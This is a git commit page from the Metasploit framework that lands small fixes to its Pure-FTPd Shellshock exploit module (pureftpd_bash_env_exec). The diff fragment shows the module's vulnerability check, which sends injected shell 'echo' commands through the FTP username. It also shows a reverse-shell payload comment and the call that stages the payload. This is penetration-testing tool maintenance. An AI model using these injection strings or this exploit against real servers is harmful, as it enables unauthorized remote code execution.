Land #4031, fixes for pureftpd_bash_env_exec

bug/bundler_fix
William Vu 2014-10-16 19:55:09 -05:00
commit e242bf914f
No known key found for this signature in database
GPG Key ID: E761DCB4C1629024
1 changed files with 3 additions and 2 deletions

View File

@ -75,11 +75,12 @@ class Metasploit4 < Msf::Exploit::Remote
random_id = (rand(100) + 1)
command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
if send_command(username, command) =~ /^2\d\d ok./i
return CheckCode::Safe if banner !~ /pure-ftpd/i
disconnect
return CheckCode::Safe if banner !~ /pure-ftpd/i
command = "echo auth_ok:0; echo end"
if send_command(username, command) =~ /^5\d\d login authentication failed/i
disconnect
return CheckCode::Vulnerable
end
end
@ -98,7 +99,7 @@ class Metasploit4 < Msf::Exploit::Remote
# Cannot use generic/shell_reverse_tcp inside an elf
# Checking before proceeds
if generate_payload_exe.blank?
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
end
execute_cmdstager(linemax: 500)